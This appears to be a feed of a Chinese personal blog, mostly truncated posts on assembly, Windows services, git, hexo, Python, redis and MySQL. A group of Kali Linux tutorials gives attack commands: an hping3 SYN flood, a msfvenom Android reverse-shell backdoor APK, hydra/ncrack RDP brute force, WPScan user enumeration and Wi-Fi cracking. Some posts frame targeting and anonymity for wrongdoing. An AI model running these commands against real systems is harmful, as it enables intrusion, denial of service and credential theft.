Haskell	haskell
GLSL	glsl
Lisp	lisp

8. 汇编-ESP寻址 EBP寻址

luodaoyi@gmail.com (luodaoyi) — Tue, 19 Sep 2017 22:42:16 +0000

寄存器传参和堆栈传参

寄存器传参

MOV ECX,1
MOV EBX,2
CALL XX
MOV EAX,ECX
ADD EAX,EBX
RETN

堆栈传参 –ESP寻址

PUSH 1
PUSH 2
CALL XXX
MOV EAX,DWORD PTR SS:[ESP+8] //当内存中括号中包含ESP或者EBP的话 用SS
ADD EAX,DWORD PTR SS:[ESP+4]
RETN 8

堆栈传参 –EBP寻址

PUSH 1
PUSH 2
CALL XXX
PUSH EBP
MOV EBP,ESP
SUB ESP,10 //提升堆栈
MOV EAX,DWORD PTR SS:[EBP+8] //通过EBP获得参数 参数位置 +4
ADD EAX,DWPRD PTR SS:[EBP+0xC]
MOV ESP,EBP
POP EBP //恢复堆栈

7.汇编-汇编中的函数

luodaoyi@gmail.com (luodaoyi) — Tue, 19 Sep 2017 16:22:09 +0000

什么是函数

函数就是一系列指令的几个,为了完成某个会重复使用的特定功能

函数调用

用JMP来执行函数
用CALL来执行函数

函数的参数和返回值

通常情况下，会将函数的计算结果放到EAX寄存器中

EAX 通常用来放返回值

简单的加法函数

ADD ECX,EDX //传参
MOV EAX,ECX //传结果到EAX中
RETN

堆栈传参

如果参数很多怎么办？10个数相加

6.汇编-修改EIP的指令

luodaoyi@gmail.com (luodaoyi) — Sun, 17 Sep 2017 05:42:35 +0000

EIP寄存器

EIP寄存器表示CPU下次执行的位置

JMP指令

JMP指令相当于给EIP寄存器赋值
JMP后面只能是32位的

指令格式:
MPV EIP,寄存器/立即数/内存
简写：JMP 寄存器/立即数/内存

JMP 0x00FF19 -> MOV EIP,0X00FF19
JMP EAX -> MOV EIP,EAX
JMP DWORD PTR DS:[0x18ffa0] ->MOV EIP,DWORD PTR DS:[0x18ffa0] #这里内存指针只能用32位的

CALL指令

PUSH下一行地址
MOV EIP,立即数/寄存器/内存
简写 CALL 立即数/寄存器/内存

5.汇编-堆栈相关指令

luodaoyi@gmail.com (luodaoyi) — Sun, 17 Sep 2017 04:54:13 +0000

什么是堆栈

程序启动的时候操作系统会给每个程序一块虚拟的4G内存当程序需要使用的时候必须要和操作系统申请内存
堆栈是程序的心脏，程序中需要用到的重要数据，都在堆栈中体现

就是一块特殊的内存，操作系统在程序启动的时候已经分配好的，供程序执行时使用

和数据结构的堆栈无关

查看堆栈

正常内存使用从小地址往大地址使用，堆栈中从大地址往小地址使用
当堆栈用完了就会出现堆栈溢出错误

2.汇编-内存

luodaoyi@gmail.com (luodaoyi) — Sat, 16 Sep 2017 20:35:33 +0000

寄存器数量和容量有限，为了存储大量数据，所以我们需要内存

每个程序都会有自己的独立的4GB内存空间（

这里的内存其实是虚拟的，并不是真的给了程序4G内存,当程序读或者写这段内存的时候，操作系统才会把使用的内存映射到物理内存上
物理内存和内存条之间还有一层映射

4. 汇编-内存复制指令

luodaoyi@gmail.com (luodaoyi) — Sat, 16 Sep 2017 10:20:06 +0000

标志寄存器 EFL

EFL是32位寄存器
其中的每一位，含义都是不同的

0x00000246 16进制
0000 0000 0000 0000 0000 0010 0100 0110 二进制

第十位(从下标开始算从右往左)：DF位
DF位为``的时候: MOVS 执行完毕之后 ESI和EDI的值会增加
DF位位1的时候: MOVS 执行完毕之后 ESI和EDI的值会减少

3.汇编-常用汇编指令

luodaoyi@gmail.com (luodaoyi) — Sat, 16 Sep 2017 07:42:31 +0000

1. MOV指令（赋值）

含义：前者被后者赋值
exp:

MOV EAX,0xFFFFFFFF

此时 EAX = 0xFFFFFFFF

指令格式：

MOV r/m8,r8
MOV r/m16,r16
MOV r/m32,r32
MOV r8,r/m8
MOV r16,r/m16
MOV r32,r/m/32
MOV r8,imm8
MOV r16,imm16
MOV r32,imm32

r – 通用寄存器
m – 内存
imm – 立即数
r8 – 8位通用寄存器
m8 – 8位内存
imm8 – 8位立即数

2. ADD指令（加法）

含义：前者与后者相加，结果赋值给前者

1.汇编-寄存器

luodaoyi@gmail.com (luodaoyi) — Sat, 16 Sep 2017 03:47:44 +0000

寄存器介绍

寄存器是什么

计算机在三个地方可以存数据

cpu
内存
硬盘

所谓寄存器，就是cpu中硬盘存储数据的地方

寄存器的大小

寄存器大小取决于cpu的位数
比如32位那么cpu所提供的容器有三种 8位 16位 32位
如果64位那么cpu所提供的容器有四种 8位 16位 32位 64位

05年后的电脑cpu几乎都是64位的。

C#在winform中调用系统控制台输出

luodaoyi@gmail.com (luodaoyi) — Tue, 12 Sep 2017 15:25:54 +0000

在Winform程序中有时候调试会通过Console.Write()方式输出一些信息，这些信息是在Visual Studio的输出窗口显示。

所以就会想，能不能调用系统的Cmd窗口输出呢，经过一番查阅，发现是可以的，现在就把方法写下了：

主要用到的是win32 API函数实现的：

windows 安装服务

luodaoyi@gmail.com (luodaoyi) — Tue, 12 Sep 2017 06:58:05 +0000

方法1 :sc

安装

1
2
3


 //bin目录加上 "s" 证明是从windows服务启动该程序
 sc create server_name binpath="bin_path s" displayName="display_name" start=auto
 sc create elasticsearch_index_sync binpath="D:\job\search-job\Search.JobService.exe s" displayName="elasticsearch index sync work" start=auto

卸载

1
2


 sc delete server_name binpath="bin_path" displayName="display_name"start= auto
 sc delete elasticsearch_index_sync binpath="D:\job\search-job\Search.JobService.exe" displayName="elasticsearch index sync work" start= auto

方法2:installutil

安装

1
2
3


 %SystemRoot%\Microsoft.NET\Framework\v4.0.30319\installutil.exe D:\job\search-job\Search.JobService.exe
 Net Start SearchJobService
 sc config SearchJobService start= auto

第二行为启动服务。
第三行为设置服务为自动运行。

卸载

1

 %SystemRoot%\Microsoft.NET\Framework\v4.0.30319\installutil.exe /u D:\job\search-job\Search.JobService.exe

控制

启动

1
2


 net start server_name
 net start elasticsearch_index_sync

停止

1
2


 net stop server_name
 net stop elasticsearch_index_sync

python异步多线程超高性能爬虫爬取又拍云图片

luodaoyi@gmail.com (luodaoyi) — Wed, 06 Sep 2017 06:40:30 +0000

前言

最近有个奇葩需求：
要把又拍云所有的图片全都下载下来大约10T 3亿张左右
联系又拍云能否邮寄硬盘直接拷贝，答曰不行。。但是给了个下载的python脚本
download_file_with_iter.py
我怀着感激的心情下载下来，结果一秒不到3张。。实在是慢，于是乎打算自己写一个

版本1

这是刚做的时候的版本，直接使用aio的队列，
环境：python3.6.2
所需包:

同一局域网环境下的arp欺骗和中间人攻击（mac）

luodaoyi@gmail.com (luodaoyi) — Sun, 09 Apr 2017 04:41:48 +0000

最近读了一篇有关arp欺骗和中间人攻击的文章，于是乎就想着自己实现一下，顺便验证下微信在回话劫持后的安全性。

1.本机环境

Macbook Air:OS X 10.11 El Captain

2.推荐工具

Nmap（网络探测工具和安全/端口扫描器）

$ brew install nmap

Ettercap(arp欺骗和dns欺骗工具)

$ brew install ettercap –with-gtk+

Driftnet（网络包图片解析器）

使用hping3/nping施行DoS攻击

luodaoyi@gmail.com (luodaoyi) — Sat, 08 Apr 2017 17:08:27 +0000

DDoS攻击是常见的攻击方式，每小时大约发生28次。http://www.digitalattackmap.com提供在世界范围内的DDoS实时攻击分布图：

从DDoS攻击的地图上就可以看出国际形势；例如，到9月18号可以看到日本－中国的攻击；川普宣布建墙之后，可以看到墨西哥－美国的攻击。

使用hping3进行DoS攻击：

# hping3 -c 10000 -d 120 -S -w 64 -p 80 --flood --rand-source testsite.com

-c：发送数据包的个数
-d：每个数据包的大小
-S：发送SYN数据包
-w：TCP window大小
-p：目标端口，你可以指定任意端口
–flood：尽可能快的发送数据包
–rand-source：使用随机的IP地址，目标机器看到一堆ip，不能定位你的实际IP；也可以使用-a或–spoof隐藏主机名

简单的SYN洪水攻击：

Kali Linux：使用nmap扫描主机

luodaoyi@gmail.com (luodaoyi) — Sat, 08 Apr 2017 09:27:58 +0000

nmap－Network Mapper，是著名的网络扫描和嗅探工具包。他同样支持Windows和OS X。

扫描开放端口和判断操作系统类型

先让我们ping一段地址范围，找到启动的主机：

# nmap -sP 159.203.205.0-100

使用SYN扫描探测操作系统类型：

# nmap -sS 159.203.205.61 -O

扫描开放端口：

# nmap -sV 159.203.205.61 -A

扫描web服务器的网站目录

# nmap –script http-enum.nse blog.topspeedsnail.com

上面使用了脚本，存放路径：(/usr/share/nmap/scripts)。目录里有各种各样的脚本。

Kali Linux安装SSH Server

luodaoyi@gmail.com (luodaoyi) — Sat, 08 Apr 2017 09:17:21 +0000

Kali Linux默认并没有安装SSH服务，为了实现远程登录Kali Linux，我们需要安装SSH服务。

安装 OpenSSH Server

# apt-get install openssh-server

配置SSH服务开机启动

# update-rc.d -f ssh remove
# update-rc.d -f ssh defaults
# update-rc.d -f ssh enable 2 3 4 5

更改默认的SSH密钥

# cd /etc/ssh
# mkdir ssh_key_backup
# mv ssh_host_* ssh_key_backup

创建新密钥：

# dpkg-reconfigure openssh-server

允许root用户使用ssh远程登录

默认下，不允许使用root用户进行ssh远程登录，需要改一下ssh的配置文件：

HTTrack – 克隆任意网站

luodaoyi@gmail.com (luodaoyi) — Sat, 08 Apr 2017 09:16:41 +0000

HTTrack可以克隆指定网站－把整个网站下载到本地。

可以用在离线浏览上，也可以用来收集信息（甚至有网站使用隐藏的密码文件）。

一些仿真度极高的伪网站（为了骗取用户密码），也是使用类似工具做的。

Kali Linux默认安装了HTTrack。

HTTrack帮助：

使用tor实现匿名扫描/SSH登录

luodaoyi@gmail.com (luodaoyi) — Sat, 08 Apr 2017 09:13:29 +0000

你要做坏事时，最先应该想到匿名。扫描网站／主机，或利用漏洞；甚至在大天朝发帖都有风险，为了防止半夜鬼敲门，我们可以使用tor实现匿名。

如果你不知道tor是什么，看：https://zh.wikipedia.org/wiki/Tor ； https://program-think.blogspot.com/2013/11/tor-faq.html

图示：

在天朝也许要多加一层：

优点：

首先有了一个梯子
你的ISP提供商并不知道你在使用Tor，它也许知道你在使用代理
Tor的入口点并不知道你的IP地址，而是代理的ip地址；代理一定要可靠。

安装tor：

使用sqlmap执行SQL注入攻击

luodaoyi@gmail.com (luodaoyi) — Sat, 08 Apr 2017 09:10:41 +0000

sqlmap是开源的SQL注入自动攻击工具，它可以自动的探测SQL注入点并且进一步控制网站的数据库。

Kali Linux默认安装了这个工具。

找到潜在的攻击目标

第一步是找到有SQL注入漏洞的网站。如果你没有特定攻击目标，可以使用Google搜索 php?id=1 （或php?id= ＋ xx系医院）：

使用Metasploit收集邮箱信息

luodaoyi@gmail.com (luodaoyi) — Sat, 08 Apr 2017 09:06:04 +0000

Metasploit提供了很多辅助的模块，非常实用。今天介绍一个叫search_email_collector的模块，它的功能是查找搜索引擎（google、bing、yahoo），收集和某个域名有关的邮箱地址。

使用步骤：

启动msfconsole：

# service postgresql start
# msfconsole

搜索模块：

安装使用lynis扫描Linux的安全漏洞

luodaoyi@gmail.com (luodaoyi) — Sat, 08 Apr 2017 08:56:01 +0000

Lynis是Linux平台上的一款安全漏洞扫描工具。它可以扫描系统的安全漏洞、收集系统信息、安装的软件信息、配置问题、没有设置密码的用户和防火墙等等。

Lynis是流行可靠的安全扫描工具。

前不久，Lynis更新了版本，Lynis发布了2.2.0。在这个版本上增加了新的特性和一些小的功能提升。我建议使用Lynis的最新版本2.2.0。

Metasploit的基本使用

luodaoyi@gmail.com (luodaoyi) — Sat, 08 Apr 2017 08:51:46 +0000

Metasploit可以在Linux、Windows和Mac OS X系统上运行。我假设你已安装了Metasploit，或者你使用的系统是Kali Linux。它有命令行接口也有GUI接口。

我使用的系统是Kali Linux，本文以这个系统为例。

图形用户界面接口：Armitage

演示使用Metasploit入侵Windows

luodaoyi@gmail.com (luodaoyi) — Sat, 08 Apr 2017 08:48:48 +0000

我使用Kali Linux的IP地址是192.168.0.112；在同一局域网内有一台运行Windows XP（192.168.0.108）的测试电脑。

本文演示怎么使用Metasploit入侵windows xp sp3。

启动msfconsole：

# msfconsole

选择一个漏洞：

演示使用Metasploit入侵Android

luodaoyi@gmail.com (luodaoyi) — Sat, 08 Apr 2017 08:45:50 +0000

文本演示怎么使用Kali Linux入侵Android手机。

Kali Linux IP地址：192.168.0.112；接收连接的端口：443。

同一局域网内android手机一部(android 5.1)

创建一个后门程序

在终端中执行：

# msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.0.112 LPORT=443 > my_backdoor.apk

这个后门程序(APK)是发送给受害者的；要把上面命令的IP地址替换为攻击者IP，当后门程序运行时，它会试图连接这个IP。

Kali Linux ettercap的使用

luodaoyi@gmail.com (luodaoyi) — Sat, 08 Apr 2017 08:41:45 +0000

ettercap是执行ARP欺骗嗅探的工具，通常用它来施行中间人攻击。

我还介绍过另一个arp欺骗工具-arpspoof
我使用的是Kali Linux 2.0；在开始使用ettercap之前，先配置一下：

编辑配置文件/etc/ettercap/etter.conf：

使用Kali Linux执行中间人攻击(演示)

luodaoyi@gmail.com (luodaoyi) — Sat, 08 Apr 2017 08:36:59 +0000

中间人攻击也叫Man-In-The-Middle-Attack。

我假设你已经知道中间人攻击的基本概念，引用一段wikipedia：

中间人攻击（Man-in-the-middle attack，缩写：MITM）是指攻击者与通讯的两端分别建立独立的联系，并交换其所收到的数据，使通讯的两端认为他们正在通过一个私密的连接与对方直接对话，但事实上整个会话都被攻击者完全控制。在中间人攻击中，攻击者可以拦截通讯双方的通话并插入新的内容。在许多情况下这是很简单的（例如，在一个未加密的Wi-Fi 无线接入点的接受范围内的中间人攻击者，可以将自己作为一个中间人插入这个网络）。

集线器、交换机和路由器的区别

luodaoyi@gmail.com (luodaoyi) — Sat, 08 Apr 2017 08:33:31 +0000

集线器、交换机和路由器都是计算机网络设备，而且非常容易混淆。那么集线器、交换机和路由器有什么区别呢？

用简单的话说，就是智商高低。路由器最智能、集线器最傻。

集线器、交换机和路由器都允许你把一个或多个计算机连接到其他计算机、网络设备等。每个都有多个网络接口，允许你插入网线接入网络，但是内部原理不同。下面我们分别看一下这些设备。

在Wifi网络中嗅探明文密码(HTTP POST请求、POP等)

luodaoyi@gmail.com (luodaoyi) — Sat, 08 Apr 2017 08:26:01 +0000

全世界，现在大约50%的网站没有使用SSL加密，天朝尤其多。

我们都知道通过HTTP发送的数据都是明文，没有使用任何加密，即使是在数据敏感的登录页面。

本文的目的是：如果你在不熟悉的网络环境中，要注意提高警惕。

没有人希望自己的密码暴露给他人，so，不要嗅探（狗）他人的密码。

使用WPScan破解wordpress站点密码

luodaoyi@gmail.com (luodaoyi) — Sat, 08 Apr 2017 08:20:14 +0000

我这里使用的Kali Linux，它默认安装了WPScan。

在使用WPScan之前，先更新它的漏洞数据库：

# wpscan –update

扫描wordpress用户

wpscan -–url [wordpress网址] –-enumerate u

以我的网站为例：

# wpscan --url http://blog.topspeedsnail.com --enumerate u

注意：要用使用两个–，否则报错－“The WordPress URL supplied ‘http://rl/’ seems to be down.”

使用Hydra通过ssh破解密码

luodaoyi@gmail.com (luodaoyi) — Sat, 08 Apr 2017 08:16:26 +0000

Hydra是非常高效的网络登录破解工具，它可以对多种服务程序执行暴力破解（SSH、VNC等等）。

防止这种攻击其实很容易，方法很多。以SSH为例：

Ubuntu：使用Port Knocking隐藏SSH端口
在Ubuntu中用Fail2Ban保护SSH
CentOS 7安装使用Fail2Ban保护SSH

创建假的wifi热点

luodaoyi@gmail.com (luodaoyi) — Sat, 08 Apr 2017 07:42:50 +0000

本帖介绍怎么创建假的wifi热点，然后抓取连接到这个wifi用户的敏感数据。我们还会给周围的无线路由器发送未认证的包，使这些路由器瘫痪，强迫用户连接（或自动连接）我们创建的假wifi热点。

这种攻击也叫”水坑攻击”－把其他用户都聚集到一个”坑”中。

使用pdfcrack破解PDF密码(Linux)

luodaoyi@gmail.com (luodaoyi) — Sat, 08 Apr 2017 07:40:52 +0000

pdfcrack是破解PDF保护密码的Linux命令行工具。

安装pdfcrack

Debian系列：

# apt install pdfcrack

暴力破解

# pdfcrack -f filename.pdf -n 6 -m 8 -c 0123456789

暴力破解密码是漫长单调的过程。

上面使用的参数解释：

-n：密码最短多少个字符
-m：密码最长多少个字符
-c：使用的字符集

更多选项，查看帮助：

SlowHTTPTest-慢速DoS攻击

luodaoyi@gmail.com (luodaoyi) — Sat, 08 Apr 2017 07:35:35 +0000

Slowhttptest是一个依赖于实际HTTP协议的Slow HTTP DoS攻击工具，它的设计原理是要求服务器所有请求被完全接收后再进行处理。

SlowHTTPTest是一款对服务器进行慢攻击的测试软件，所谓的慢攻击就是相对于cc或者DDoS的快而言的，并不是只有量大速度快才能把服务器搞挂，使用慢攻击有时候也能到达同一效果。slowhttptest包含了之前几种慢攻击的攻击方式，包括slowloris, Slow HTTP POST, Slow Read attack等。那么这些慢攻击工具的原理就是想办法让服务器等待，当服务器在保持连接等待时，自然就消耗了资源。

暴力破解Windows RDP(3389)

luodaoyi@gmail.com (luodaoyi) — Sat, 08 Apr 2017 07:32:16 +0000

RDP是远程桌面协议。

$ nmap your_target
Starting Nmap 7.01 ( https://nmap.org ) at 2016-09-20 17:29 CST
Nmap scan report for ns514636.ip-192-95-xx.net (192.95.xx.xx)
Host is up (0.28s latency).
Not shown: 988 closed ports
PORT STATE SERVICE
135/tcp filtered msrpc
139/tcp filtered netbios-ssn
445/tcp filtered microsoft-ds
593/tcp filtered http-rpc-epmap
3389/tcp open ms-wbt-server # 这个是远程桌面端口
4444/tcp filtered krb524
6667/tcp filtered irc
49152/tcp open unknown
49153/tcp open unknown
49154/tcp open unknown
49155/tcp open unknown
49163/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 28.14 seconds

使用hydra暴力破解：

hydra -t 4 -V -l administrator -P /usr/share/wordlists/rockyou.txt rdp://your_target

-t = TASKS run TASKS number of connects in parallel (per host, default: 16) RDP set to maximum of 4.
-V = Verbose shows you the attempted passwords.
-l = Username
-P = Password list
rdp:// = Port 3389

使用ncrack暴力破解：

ncrack -p 3389 -v -user administrator -P /usr/share/wordlists/rockyou.txt 192.95.xx.xx

-p = Port number
-v = Verbose shows you any found passwords in realtime
-user = username
-P = Password list

远程桌面登录：

rdesktop your_target

使用Reaver破解开启了WPS功能的wifi密码(wpa/wpa2)

luodaoyi@gmail.com (luodaoyi) — Sat, 08 Apr 2017 07:27:46 +0000

来自wikipeida：

Wi-Fi保护设置（简称WPS，全称Wi-Fi Protected Setup）是一个无线网络安全标准，旨在让家庭用户使用无线网络时简化加密步骤。此标准由Wi-Fi联盟（Wi-Fi Alliance）于2006年制定。

在2011年12月28日安全专家Stefan Viehbock报出此标准的一个重大安全漏洞，此漏洞允许远程攻击者使用暴力攻击在几小时内就能获取WPS的PIN码和WPA/WPA2的PSK码。一些新出产的无线路默认启动WPS功能，所以现在建议用户关闭无线路由器上的WPS一键加密功能，虽然有些无线器上无法关闭此功能。

Kali Linux使用Aircrack破解wifi密码(wpa/wpa2)

luodaoyi@gmail.com (luodaoyi) — Sat, 08 Apr 2017 07:16:20 +0000

Kali Linux能做很多事，但是它主要以渗透测试及’破解wifi密码’闻名。

如果你使用Macbook 请看 使用macbook破解WPA/WPA2 wifi密码

要求:

安装有Kali Linux的计算机
支持监控模式的网卡，笔记本电脑一般都支持
字典文件
时间和耐心

这种攻击需要字典文件，一个好的字典至关重要。我以Kali Linux自带的rockyou字典为例，位于/user/share/wordlists/rockyou.txt.gz。

Kali Linux破解wifi密码(WEP)

luodaoyi@gmail.com (luodaoyi) — Sat, 08 Apr 2017 07:14:09 +0000

WEP是无线路由器最初广泛使用的一种加密方式，这种加密方式非常容易被破解。

目前很少有人使用wep加密方式，但是还是会有。

建议：使用WPA/WPA2做为加密方式。

抓包和“破解wpa/wpa2”方法一样，参考其中的前4步

5) 加快Beacons和Data数据的收集速度

和破解WPA/WPA2不同的是，它只要抓取到足够的Beacons和Data数据就可以破解，理想情况下是100000+。你可以等，也可以使用aireplay加快这个进程。

使用macbook破解WPA/WPA2 wifi密码

luodaoyi@gmail.com (luodaoyi) — Sat, 08 Apr 2017 07:02:47 +0000

文本仅供学习交流。

我使用的系统是macbook pro 15：

安装aircrack-ng

使用homebrew安装，命令：

brew install aircrack-ng

抓包－抓取带密码的握手包

macbook自带了一个wifi工具：airport。

sudo ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/sbin/airport

首先，断开wifi：

查看周围的wifi：

$ /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport -s

查看本机的无线网卡设备：

$ ifconfig

抓包：

Python读取指定目录下指定后缀文件并保存为docx

luodaoyi@gmail.com (luodaoyi) — Fri, 07 Apr 2017 08:08:05 +0000

最近有个奇葩要求要项目中的N行代码申请专利啥的
然后作为程序员当然不能复制粘贴用代码解决。。

使用python-docx读写docx文件

环境使用python3.6.0
首先pip安装python-docx

pip install python-docx

然后下面是脚本修改目录，这里默认取脚本运行目录下的src文件夹
取.cs后缀的所有文件读取并保存为docx

小程序开发遇到的一些坑

luodaoyi@gmail.com (luodaoyi) — Mon, 13 Mar 2017 06:00:48 +0000

小程序：行家看看

年前，公司开发了微信小程序，我负责后端开发，其中遇到一些坑，分享一下

小程序语音录制和播放

微信录音不能计时，需要自己计时
录音文件是微信独有格式，只能微信本身播放，否则需要工具转换为Mp3等通用格式才可以
录音播放不能直接用标签src引入，需要将语音文件下载到本地后才可以正常播放。
录音播放没有播放完成的事件，需要自己计时

小程序视频录制和播放

视频录制很费空间
视频需要压缩再上传，否则会很卡，或者上传失败
又拍云的视频处理文档是狗屎,直接问客服，否则处理回调不会成功
目前就这些，想到了再写

Fork别人的代码原作者更新后如何同步

luodaoyi@gmail.com (luodaoyi) — Sun, 12 Mar 2017 06:34:32 +0000

我的博客主题是直接fork原作者的，所以当原作者更新之后，我要合并冲突，跟随更新
下面说一下简单的方法，算是自己做个笔记

给主题的fork加一个remote

给 fork 配置一个 remote
使用 git remote -v 查看远程状态

➜ next git:(master) git remote -v origin git@github.com:luodaoyi/hexo-theme-next.git (fetch) origin git@github.com:luodaoyi/hexo-theme-next.git (push)
把原作者的远程仓库添加到remote

git remote add upstream https://github.com/iissnan/hexo-theme-next.git
再次查看是否添加成功

➜ next git:(master) git remote -v origin git@github.com:luodaoyi/hexo-theme-next.git (fetch) origin git@github.com:luodaoyi/hexo-theme-next.git (push) upstream https://github.com/iissnan/hexo-theme-next.git (fetch) upstream https://github.com/iissnan/hexo-theme-next.git (push)

利用coding.和daocloud打造全自动发布的hexo博客

luodaoyi@gmail.com (luodaoyi) — Sun, 12 Mar 2017 06:34:18 +0000

使用Github托管hexo静态博客的优缺点

Hexo 是一个快速、简洁且高效的博客框架。Hexo 使用 Markdown（或其他渲染引擎）解析文章，在几秒内，即可利用靓丽的主题生成静态网页。

也就是说你用WP做博客已经OUT了，现在流行纯静态博客

静态博客的优点：

纯静态html 浏览速度极快
托管到Github pages 不需要主机费用或者是空间费用
如果域名没有备案，那么默认就是用的Github的cdn 国内访问速度很快，如果备案了可以使用cloudxns等dns服务让国外国内分开解析，国内使用各种免费cdn，国外使用Github默认CDN

使用github pages 的缺点:

大白话讲解如何给github上项目贡献代码

luodaoyi@gmail.com (luodaoyi) — Sun, 12 Mar 2017 06:33:48 +0000

本文献给对git很迷茫的新手，注意是新手，但至少会点基本操作，有点基本概念的新手，我不会从怎么用github和git是什么开始讲的。如果作为新手你看书又看不进去，原理又太复杂，又没有直接了当告诉我们怎么给项目贡献代码，和项目同步代码的大体流程。于是我快速写了这么个东西。一来整理下自己混乱的思路，二来想号召大家一起用git开发点东西，可是好几个同鞋只会寂寞的给自己push。

hexo多主题切换

luodaoyi@gmail.com (luodaoyi) — Sun, 12 Mar 2017 06:33:36 +0000

今天看到一个朋友在github上面的issue
大概问题就是怎么在不同的电脑上面使用
git有个这么个东西Submoudle中文叫做子模块

具体使用教程看这里Git-工具-子模块

这里只说怎么搞hexo多主题切换和换电脑啥的

开始

首先分两种情况

主题的出了配置文件或者其他文件没有DIY过，都是直接clone原来的主题作者的
主题的CSS JS 文件自己改过

没有修改主题源码

如果没有修改主题源码那就按照下面的步骤来作

markdown 语法汇总

luodaoyi@gmail.com (luodaoyi) — Sun, 12 Mar 2017 06:33:16 +0000

Markdown是_什么_？

Markdown是一种轻量级标记语言，它以纯文本形式(易读、易写、易更改)编写文档，并最终以HTML格式发布。

Markdown也可以理解为将以MARKDOWN语言编写的语言转换成HTML内容的工具，最初是一个perl脚本_Markdown.pl_。

静态网站使用不蒜子显示浏览量

luodaoyi@gmail.com (luodaoyi) — Sun, 12 Mar 2017 06:33:00 +0000

本文转载自不蒜子不如

静态网站建站现在有很多快速的技术和平台，但静态是优点也有缺点，由于是静态的，一些动态的内容如评论、计数等等模块就需要借助外来平台，评论有“多说”，计数有“不蒜”！

“不蒜子”与百度统计谷歌分析等有区别：“不蒜子”可直接将访问次数显示在您在网页上（也可不显示）；对于已经上线一段时间的网站，“不蒜子”允许您初始化首次数据。。
普通用户据只需两步走：一行脚本+一行标签，搞定一切

安装脚本（必选）

要使用不蒜子必须在页面中引入busuanzi.js，目前最新版如下。

golang模板语法

luodaoyi@gmail.com (luodaoyi) — Sun, 12 Mar 2017 06:32:48 +0000

模板语法

with关键字

type u struct {
 Name string
 Age int
 Sex string
 }
 user:=&u{Name:"asd",Age:20,Sex:"mal"}
 data["user"]=user
 c.HTML(http.StatusOK, "index.html", data)

输出

 {{with .user}}
 {{.Name}};
 {{.Age}};
 {{.Sex}}
 {{end}}

循环打印数组

nums := []int{1,2,3,4,5,6,7,8,9,0}
data["nums"]=nums

输出

 {{range .nums}}
 {{.}}
 {{end}}

高级使用-模板变量

data["abc"] = "helloword-abc"
 c.HTML(http.StatusOK, "index.html", data)

模板变量示例

 {{$tempabc := .abc}}
 {{$tempabc}}

处理简单数据-模板函数

使用LNMP环境安装typecho博客的全程记录

luodaoyi@gmail.com (luodaoyi) — Sun, 12 Mar 2017 06:32:15 +0000

虽然我是搞asp.net的但是十分欣赏php，php有很多开源的博客程序比如大名鼎鼎的WordPress.还有各种独立博客大牛使用的z-blog,以及短小精悍的emblog。

wordpress臃肿不堪，pass！其他的不喜欢，所以就选择国人开发的typecho开源博客系统，优点就是简单好用，支持markdown。
安装typecho需要php环境，这里我使用的是lnmp，服务器采用Vultr乞丐版，系统是ubuntu14.14，下面开始安装,每一步都有详细介绍

Python打包上传

luodaoyi@gmail.com (luodaoyi) — Sun, 12 Mar 2017 06:31:39 +0000

你可以用pip导出你的dependency:

$ pip freeze > requirements.txt

然后在通过以下命令安装dependency:

pip install -r requirements.txt

使用 setuptools 来安装
使用 buildout 进行构建

下面具体说下这两点

setuptools 的官方文档在这 setuptools – The PEAK Developers’ Center，当然这份文档有点长，主要是用来参考。许多 python 项目里面的 setup.py 就是用的 setuptools，你在 setup.py 里面只需要写上依赖的包就 ok，当调用 setup.py install 的时候，会自动帮你把所有依赖包都装好
构建工具使用 buildout，知乎也在用这个。我曾经使用 virtualenv + pip 的组合，不过这个也还是比较麻烦的。用 buildout 的话，只需要写一个 buildout.cfg 就可以了，这个是一个 ini 格式的配置文件，一般情况下普通项目也就不到十行配置，真的很少！

你开发完成后，将你的源码打包发给别人，别人只需要下面两步就可以把你的代码依赖搞定（仅限 python 相关的，当然首先，别人得有 python）

Python虚拟环境设置

luodaoyi@gmail.com (luodaoyi) — Sun, 12 Mar 2017 06:31:29 +0000

Python2环境

首先，我们用pip安装virtualenv：

pip3 install virtualenv

然后，假定我们要开发一个新的项目，需要一套独立的Python运行环境，可以这么做：

第一步，创建目录：

Mac:~ michael$ mkdir myproject
Mac:~ michael$ cd myproject/
Mac:myproject michael$

第二步，创建一个独立的Python运行环境，命名为venv：

Mac:myproject michael$ virtualenv --no-site-packages venv
Using base prefix "/usr/local/.../Python.framework/Versions/3.4"
New python executable in venv/bin/python3.4
Also creating executable in venv/bin/python
Installing setuptools, pip, wheel...done.

命令virtualenv就可以创建一个独立的Python运行环境，我们还加上了参数–no-site-packages，这样，已经安装到系统Python环境中的所有第三方包都不会复制过来，这样，我们就得到了一个不带任何第三方包的“干净”的Python运行环境。

centos6安装redis

luodaoyi@gmail.com (luodaoyi) — Sun, 12 Mar 2017 06:31:19 +0000

检查安装依赖程序

yum install gcc-c++
yum install -y tcl
yum install wget

获取安装文件

wget http://download.redis.io/releases/redis-2.8.13.tar.gz

解压文件

tar -xzvf redis-2.8.19.tar.gz
mv redis-2.8.19 /usr/local/redis

cd /usr/local/redis

编译安装

make
make install

设置配置文件路径

mkdir -p /etc/redis
cp redis.conf/etc/redis

修改配置文件

vi /etc/redis/redis.conf
仅修改： daemonize yes （no-->yes）

启动

/usr/local/bin/redis-server /etc/redis/redis.conf

查看启动

ps -ef | grep redis

使用客户端

redis-cli
>set name david
OK
>get name
"david"

关闭客户端

redis-cli shutdown

开机启动配置

echo "/usr/local/bin/redis-server /etc/redis/redis.conf &" >> /etc/rc.local

开机启动要配置在 rc.local 中，而 /etc/profile 文件，要有用户登录了，才会被执行。

Debian, Ubuntu, LinuxMint 安裝 MySQL 5.7, 5.6, 5.5

luodaoyi@gmail.com (luodaoyi) — Sun, 12 Mar 2017 06:31:09 +0000

以下會示範在 Debian, Ubuntu 及 LinuxMint 分別安裝 MySQL 5.7, 5.6, 5.5 的方法。

首先按照需要的安裝的 MySQL 版本, 加入相應的 Repository, 然後用 apt-get 安裝 MySQL:

1+ MySQL 5.7

$ sudo apt-get install software-properties-common
$ sudo add-apt-repository -y ppa:ondrej/mysql-5.7

2+ MySQL 5.6

$ sudo apt-get install software-properties-common
$ sudo add-apt-repository -y ppa:ondrej/mysql-5.6

3+ MySQL 5.5

$ sudo apt-get install software-properties-common
$ sudo add-apt-repository -y ppa:ondrej/mysql-5.5

然後就用 apt-get 安裝 MySQL

$ sudo apt-get update
$ sudo apt-get install mysql-server

